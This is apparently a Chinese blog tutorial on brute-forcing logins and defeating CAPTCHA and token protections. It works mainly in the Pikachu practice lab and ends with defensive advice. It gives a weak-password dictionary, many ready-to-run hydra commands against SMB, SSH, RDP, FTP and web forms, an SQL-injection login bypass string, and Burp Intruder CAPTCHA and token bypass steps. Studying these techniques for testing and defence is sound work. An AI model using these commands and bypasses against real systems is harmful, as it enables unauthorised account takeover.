暴力破解及验证码安全

1、暴力破解注意事项

  • 1、破解前一定要有一个有效的字典(Top100 TOP2000 csdn QQ 163等密码)

  • 2、判断用户是否设置了复杂的密码

  • 3、网站是否存在验证码

  • 4、尝试登录的行为是否有限制

  • 5、网站是否双因素认证、Token值等等


1.1可利用字典生成器软件生成:

也可以使用在线平台生成密码字典:

(1)、https://www.bugku.com/mima/

(2)、https://www.wetools.com/password-generator

(3)、https://suijimimashengcheng.bmcx.com/

(4)、https://api.bducds.com/lab/guess/


1.5、网站是否双因素认证、Token值等等

用抓包工具查看是否有token值;双因素认证查看登录是的需要验证码;

可以尝试用sqlmap工具检测查看是否有注入点;


2、登录页面可能产生那些漏洞

  • 注入点及万能密码登录

  • 弱口令暴破

  • 用户名可枚举:不安全的用户提示,一般提示用户名不存在或密码及验证码错误

  • 查看登录页面源代码,是否存在敏感信息泄露

  • 不安全的验证码

  • 在注册帐号的时候是否是否存在不安全的提示

  • 不安全的密码,在注册帐号的时候,密码没有限制复杂度

  • 在暴力破解的时候未限止ip,锁定用户

  • 一个帐号可以在多地登录,没有安全提示

  • 帐号登录之后,应该具备超时功能

  • 任意无限注册帐号

  • OA、邮件、默认帐号等相关系统,在不是自己注册的情况下,应该在登录之后要强行更改密码

  • 逻辑漏洞,任意密码重置

  • 越权漏洞,纵向,横向越权

  • 数据包含有敏感信息泄露,如cookice、内网IP地址

  • 明文传输,密码为明文,未使用https证书

  • 任意文 件下载

  • 框架漏洞,如stuts2、Thinkphp、apache log4等

  • 中间件漏洞:weblogic、Apcahe、Tomcat、Jboss等

  • 数据库漏洞,如弱口令、提权漏洞、溢出漏洞

  • 第三方应用服务所产生的漏洞,如443端口心脏滴血、873端口Rsync未授权访问、6379端口未授权访问、11211端口Memcahe端口未授权访问、111NFS充许网络资源共享

  • 目录暴破:获取敏感文件或目录


登录页面漏洞

强制去除字符限制、显示隐藏表单等方式:

如:百度一下,你就知道 (baidu.com)

用bp抓包工具--代理--勾选相关选项--刷新页面


登录页面漏洞

(1)、登录提示

在登陆时候,输入账户及密码提示用户名错误或提示用户名正确密码错误。(中危漏洞)

很容易用用户名字典爆力破解出来。

正确提示:1、用户名或密码错误; 2、登陆失败,请重新登录;3、......


(3)、密码未加密

(3)、注册功能:

因填写内容与数据库交互

容易产生sql注入(没做好过滤的话)、xss、敏感信息泄露、账号批量注册等。

(1)密码未加密;手机号未加*号 :

(2)注册没有验证码可批量注册:

账户添加变量:

粘贴账户字典:

查看结果,成功批量注册:


注入点及万能密码登录

如:

正确用户名及密码为:

用户名:yuan

密码:123

用户名sql注入语句,输入错误密码登录:

用户名:yuan' or 1=1--

错误密码:666

登陆成功:


查看登录页面源代码,是否存在敏感信息泄露

在github上查找是否有此项目源代码或在线文档、网盘,搜索开发人员是否上传到网上过相关内容;查看原代码里面的相关注释,username、password等敏感信息

如:

http://10.0.0.101:90/pikachu/vul/infoleak/findabc.php

右击网页查看源代码

查到有敏感信息:</div><!-- 测试账号:lili/123456-->


帐号登录之后,应该具备超时功能

如:登陆后长时间未操作,没自动掉线退出。


数据包含有敏感信息泄露,如cookice、内网IP地址

cookice是保存在用户本地,不建议账户名密码存在cookie里。

通过阅览器的密码管理--破解工具--进入查看账户密码【知道管理员账户和密码或专业化工具(如LaZa密码读取工具)】


任意文件下载

如:网站可以网页登录又可以下载软件登录,右击文件下载链接通过../下载其他文件。


3、暴力破解分类

3.1、C/S(C客户端/S服务端)

Bruter、hydra等

(1-1)Bruter(系统账户爆破)

工具和字典要放在英文目录下才行

查看主机地址(10.0.0.101)

选择密码字典,系统爆破:

数据库密码爆破:

(1-2)SNETCracker

可以多个ip(多个ip写到记事本里)


(2)hydra(kali系统)

参数:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]

-R 继续从上一次进度接着破解。

-S 采用SSL链接。

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如"登录名:密码"来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为16。

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-v / -V 显示详细过程。

server 目标ip

service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

OPT 可选项

使用:

1.手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典

新建user.txt:

bash 复制代码
vi user.txt

内容为:

administrator

sa

新建password.txt

bash 复制代码
vi password.txt

内容为:

123456789

a123456

admin

test

123456

a123456789

1234567890

woaini1314

qq123456

abc123456

123456a

5836767

888888

123456789a

147258369

zxcvbnm

987654321

12345678910

abc123

qq123456789

7708801314520

woaini

5201314520

q123456

123456abc

1233211234567

123123123

0123456789

asd123456

aa123456

135792468

q123456789

abcd123456

12345678900

woaini520

woaini123

zxcvbnm123

1111111111111111

w123456

aini1314

abc123456789

111111

woaini521

qwertyuiop

1314520520

1234567891

qwe123456

asd123

000000

1472583690

1357924680

789456123

123456789abc

z123456

1234567899

aaa123456

abcd1234

www123456

123456789q

123abc

qwe123

w123456789

7894561230

123456qq

zxc123456

123456789qq

1111111111

111111111

0000000000000000

1234567891234567

qazwsxedc

qwerty

123456..

zxc123

asdfghjkl

0000000000

1234554321

123456q

123456aa

9876543210

110120119

qaz123456

qq5201314

123698745

5201314

000000000

as123456

123123

5841314520

z123456789

52013145201314

a123123

caonima

a5201314

wang123456

abcd123

123456789..

woaini1314520

admin888

first

123456asd

aa123456789

741852963

a12345678

2.破解smb

破解系统账户密码:

bash 复制代码
hydra -L user.txt -P password.txt -t 1 -vV -e ns 10.0.0.101 smb

[445][smb] host: 10.0.0.101 login: administrator password: 123456

破解成功,直接显示结果。也可以使用 -o 选项指定结果输出文件:

bash 复制代码
hydra -L user.txt -P password.txt -t 1 -vV -e ns 10.0.0.101 smb -o 1.txt

查看导出内容:

bash 复制代码
vi 1.txt

其它实例:

1.破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2.破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3.get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4.post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)

5.破解https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6.破解teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7.破解cisco:

hydra -P pass.txt 10.36.16.18 cisco

hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8.破解smb:

hydra -l administrator -P top100.txt 192.168.0.102 smb

9.破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解rdp:

hydra 192.168.0.102 rdp -l administrator -P top100.txt -V

11.破解http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18

12.破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果

3.2、B/S(B浏览器/S服务器)
(1)基于表单的暴力破解

如:

打开pikachu靶场环境,基于表单的暴力破解--输入账户密码进行登录--用bp抓包:

bash 复制代码
http://10.0.0.101:90/pikachu/vul/burteforce/bf_form.php

发到测试器--清除变量-假设密码是md5加密--设置密码变量

粘贴破解字典:

设置密码变量为md5加密:

密码cm5加密设置成功:(

(2)基于验证码暴力破解
  • on client常见问题:不安全的前端js实现验证码;不安全的将验证码在cookie中泄露;不安全的将验证码在前端源代码中泄露

  • on server常见问题:验证码在后台不过期,导致长期使用(php默认session是24分钟过期);验证码校验不严格,逻辑出现问题;验证码设计的太过简单和有规律的被猜解

  • 弱验证码识别攻击


例如:pikachu靶场环境

(2-1)验证码绕过(on client)

在用户的浏览器或客户端应用程序中绕过验证码检查的过程

bash 复制代码
http://10.0.0.101:90/pikachu/vul/burteforce/bf_server.php

右击查看源代码:(使用了<script>标签中的代码可以用来实现前端校验,不与服务器校验)

用bp抓包:

username=§admin§&password=§123456§&vcode=§2UH1J§&submit=§Login§

只要第一次抓包输入正确,批量爆破可删除验证码参数(&vcode=§2UH1J);

发到测试器删除验证码参数、设置密码变量,添加密码字典批量爆破:

成功密码爆破:

on client常见问题:不安全的前端js实现验证码;不安全的将验证码在cookie中泄露;不安全的将验证码在前端源代码中泄露


(2-2)验证码绕过(on server)

输入账户密码--bp抓包--发到测试器--添加密码变量--密码粘贴爆破字典--开始攻击--全部失败:

刷新验证码,新的验证码直接输入bp上--开始攻击:

成功爆破密码:(因php默认session是24分钟过期)

on server常见问题:验证码在后台不过期,导致长期使用(php默认session是24分钟过期);验证码校验不严格,逻辑出现问题;验证码设计的太过简单和有规律的被猜解

查看源代码,为后端校验::

if (empty($_POST['vcode'])) {

$html .= "<p class='notice'>验证码不能为空哦!</p>";

} else {

// 验证验证码是否正确

if (strtolower(_POST\['vcode'\]) != strtolower(_SESSION['vcode'])) {

$html .= "<p class='notice'>验证码输入错误哦!</p>";

//应该在验证完成后,销毁该$_SESSION['vcode']

}else{

后端校验:服务器端(后端)执行的PHP脚本进行

把源代码 //应该在验证完成后,销毁该_SESSION\['vcode'\]取消注释,验证完成后,销毁该`_SESSION['vcode']:`

if (empty($_POST['vcode'])) {

$html .= "<p class='notice'>验证码不能为空哦!</p>";

} else {

// 验证验证码是否正确

if (strtolower(_POST\['vcode'\]) != strtolower(_SESSION['vcode'])) {

$html .= "<p class='notice'>验证码输入错误哦!</p>";

$_SESSION['vcode']

}else{

重启phpstudy,重新bp抓包爆破密码:

密码破解失败(因验证码用一次销毁一次)

(2-3)弱验证码识别攻击
bash 复制代码
http://10.0.0.101:86/admin/

使用pkav验证码验证爆破工具:

账户登录--用bp抓包--复制到pkav目标数据请求包处--

在目标数据--设置密码及验证码变量:

变量设置--选择密码字典:

网站验证码--右击复制图像地址--粘贴到图片型验证码识别【验证码地址】--设置识别范围(此网站只有数字):

重放选项--选择自动跟踪302重定向--验证码长度--重试规则填写网站验证码输入错误的提醒内容

发包器--启动,成功爆破密码:


(3)基于Token破解

由于token值输出在前端源代码中,容易被获取,因此也就失去了防暴力破解的意义,一般Token在防止CSRF上会有比较好的功效。

如:pikachu靶场环境

token防爆破?

bash 复制代码
http://10.0.0.101:90/pikachu/vul/burteforce/bf_token.php

尝试添加密码变量,字典爆破:

全部失败:

设置密码和token变量;破解方式为音叉:

变量1粘贴密码字典:

变量2有效载荷设置为递归搜索:

选项里Grep-Extract设置好开始token" value=" 结束为" />

线程设为为1:

登陆成功:

说明:输入上一次响应体的token带入到下一次破解请求体里:


4、暴力破解安全防范
    1. 强制要求输入验证码,否则,必须实施IP策略。 注意不要被X-Forwaded-For绕过了!
    1. 验证码只能用一次,用完立即过期!不能再次使用
    1. 验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。
    1. 大网站最好统一安全验证码,各处使用同一个验证码接口。

声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。
相关推荐
powerfulzyh4 分钟前
Ubuntu24.04远程开机
linux·ubuntu·远程工作
ulimpid5 分钟前
Command | Ubuntu 个别实用命令记录(新建用户、查看网速等)
linux·ubuntu·command
HHoao5 分钟前
Ubuntu启动后第一次需要很久才能启动GTK应用问题
linux·运维·ubuntu
小灰兔的小白兔7 分钟前
【Ubuntu】Ubuntu常用命令
linux·运维·ubuntu
GFCGUO9 分钟前
ubuntu18.04运行OpenPCDet出现的问题
linux·python·学习·ubuntu·conda·pip
winds~10 分钟前
ubuntu中软件的进程管理-结束软件运行
linux·运维·ubuntu
阳光不锈@37 分钟前
麒麟桌面系统安装和配置Node.js
linux·麒麟系统安装node.js
叫我龙翔2 小时前
【Linux】进程间关系与守护进程
linux·运维·服务器·计算机网络
小诸葛的博客2 小时前
Ubuntu如何如何安装tcpdump
linux·ubuntu·tcpdump
S hh2 小时前
【Linux】进程地址空间
java·linux·运维·服务器·学习